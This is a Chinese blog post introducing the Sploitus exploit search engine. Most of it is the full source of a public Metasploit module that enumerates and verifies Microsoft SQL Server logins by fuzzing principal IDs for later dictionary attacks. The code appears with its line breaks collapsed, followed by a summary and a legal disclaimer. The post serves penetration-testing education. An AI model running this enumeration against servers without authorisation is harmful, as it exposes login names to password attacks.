Sploitus|Exploit 在线漏洞搜索引擎

admin 2024年2月13日21:16:51评论51 views字数 5506阅读18分21秒阅读模式

官网:https://sploitus.com/

Sploitus|Exploit 在线漏洞搜索引擎

Sploitus是一个在线漏洞搜索引擎,它提供了一个平台,让安全研究人员和黑客能够查找已知的软件漏洞和安全漏洞的信息。它的目的是帮助用户发现和了解已知的漏洞,以便更好地保护自己的系统和网络。

Sploitus|Exploit 在线漏洞搜索引擎

在Sploitus数据库中包含了大量的漏洞信息,包括已公开披露的漏洞、CVE(通用漏洞和披露)编号、漏洞描述、影响的软件和版本、漏洞的利用方式等。用户可以通过搜索关键字、软件名称、CVE编号等方式来查找相关的漏洞信息。

Sploitus|Exploit 在线漏洞搜索引擎

下面是一个Metasploit框架中的辅助模块,用于在Microsoft SQL Server中枚举SQL登录名的漏洞利用。

## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-MSSQL-MSSQL_ENUM_SQL_LOGINS-### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::MSSQLdef initialize(info = {})super(update_info(info,'Name' => 'Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration','Description' => %q{This module can be used to obtain a list of all logins from a SQL Server with any login.Selecting all of the logins from the master..syslogins table is restricted to sysadmins.However, logins with the PUBLIC role (everyone) can quickly enumerate all SQL Serverlogins using the SUSER_SNAME function by fuzzing the principal_id parameter. This ispretty simple, because the principal IDs assigned to logins are incremental. Once loginshave been enumerated they can be verified via sp_defaultdb error analysis. This isimportant, because not all of the principal IDs resolve to SQL logins (some resolve toroles instead). Once logins have been enumerated, they can be used in dictionary attacks.},'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],'License' => MSF_LICENSE,'References' => [['URL','https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql']]))register_options([OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 300]),])enddef run# Check connection and issue initial queryprint_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")if mssql_login_datastoreprint_good('Connected.')elseprint_error('Login was unsuccessful. Check your credentials.')disconnectreturnend# Query for sysadmin statusprint_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")user_status = check_sysadmin# Check if user has sysadmin roleif user_status == 1print_good("#{datastore['USERNAME']} is a sysadmin.")elseprint_status("#{datastore['USERNAME']} is NOT a sysadmin.")end# Get a list if sql server logins using SUSER_NAME()print_status("Setup to fuzz #{datastore['FuzzNum']} SQL Server logins.")print_status('Enumerating logins...')sql_logins_list = get_sql_loginsif sql_logins_list.nil? || sql_logins_list.empty?print_error('Sorry, somethings went wrong - SQL Server logins were found.')disconnectreturnelse# Print number of initial logins foundprint_good("#{sql_logins_list.length} initial SQL Server logins were found.")sql_logins_list.sort.each do |sql_login|if datastore['VERBOSE']print_status(" - #{sql_login}")endendend# Verify the enumerated SQL Logins using sp_defaultdb error ananlysisprint_status('Verifying the SQL Server logins...')sql_logins_list_verified = verify_logins(sql_logins_list)if sql_logins_list_verified.nil?print_error('Sorry, no SQL Server logins could be verified.')disconnectreturnelse# Display list verified SQL Server loginsprint_good("#{sql_logins_list_verified.length} SQL Server logins were verified:")sql_logins_list_verified.sort.each do |sql_login|print_status(" - #{sql_login}")endenddisconnectend# Checks if user is a sysadmindef check_sysadmin# Setup query to check for sysadminsql = "select is_srvrolemember('sysadmin') as IsSysAdmin"# Run queryresult = mssql_query(sql)# Parse query resultsparse_results = result[:rows]status = parse_results[0][0]# Return statusreturn statusend# Gets trusted databases owned by sysadminsdef get_sql_logins# Create array to store the sql loginssql_logins = []# Fuzz the principal_id parameter passed to the SUSER_NAME function(1..datastore['FuzzNum']).each do |principal_id|# Setup querysql = "SELECT SUSER_NAME(#{principal_id}) as login"# Execute queryresult = mssql_query(sql)# Parse resultsparse_results = result[:rows]sql_login = parse_results[0][0]# Add to sql server login listsql_logins.push(sql_login) unless sql_logins.include?(sql_login)end# Return list of loginssql_loginsend# Checks if user has the db_owner roledef verify_logins(sql_logins_list)# Create array for later useverified_sql_logins = []fake_db_name = Rex::Text.rand_text_alpha_upper(24)# Check if the user has the db_owner role is any databasessql_logins_list.each do |sql_login|# Setup querysql = "EXEC sp_defaultdb '#{sql_login}', '#{fake_db_name}'"# Execute queryresult = mssql_query(sql)# Parse resultsparse_results = result[:errors]result = parse_results[0]# Check if sid resolved to a sql loginif result.include?(fake_db_name)verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)end# Check if sid resolved to a sql loginif result.include?('alter the login')# Add sql server login to verified listverified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)endendverified_sql_loginsendend

该模块可以用于从具有任何登录名的SQL Server获取所有登录名的列表。通过使用SUSER_SNAME函数对principal_id参数进行模糊测试,可以快速枚举所有SQL Server登录名。登录名的principal_id是递增的,因此可以通过模糊测试来枚举登录名。一旦枚举了登录名,可以通过sp_defaultdb错误分析来验证它们。验证登录名很重要,因为不是所有的principal_id都对应于SQL登录名(有些对应于角色)。一旦枚举了登录名,就可以用于字典攻击。

Sploitus|Exploit 在线漏洞搜索引擎

在日常渗透测试中使用Sploitus,可以更方便地了解已知的漏洞,以便进行漏洞分析、渗透测试和安全评估。同时,黑客也可以利用Sploitus来搜索已知的漏洞,以便发起攻击或进行渗透测试。

非常重要的一点是,我们要明确使用计算机和编程技术的目的是为了学习和测试,而不是进行非法攻击或者违法行为。编写和使用代码时,我们必须遵守法律法规,并且获得相关授权。如果您有合法的目的和授权,那么可以继续进行测试和使用。但是,如果您违反了法律法规或者未经授权使用,后果将由您自己承担。请务必谨慎行事,遵守法律规定,以确保计算机和网络的安全。
小黑板:非法攻击计算机系统是一种违法行为,违反了计算机安全法规。根据中华人民共和国刑法,非法攻击计算机系统可能构成非法侵入计算机信息系统罪、非法获取计算机信息系统数据、非法控制计算机信息系统罪、提供侵入、非法控制计算机信息系统程序、工具罪等罪名。根据《中华人民共和国刑法》规定,违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照各该款的规定处罚

原文始发于微信公众号(蓝胖子之家):Sploitus|Exploit 在线漏洞搜索引擎

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月13日21:16:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Sploitus|Exploit 在线漏洞搜索引擎http://cn-sec.com/archives/2489837.html

发表评论

匿名网友 填写信息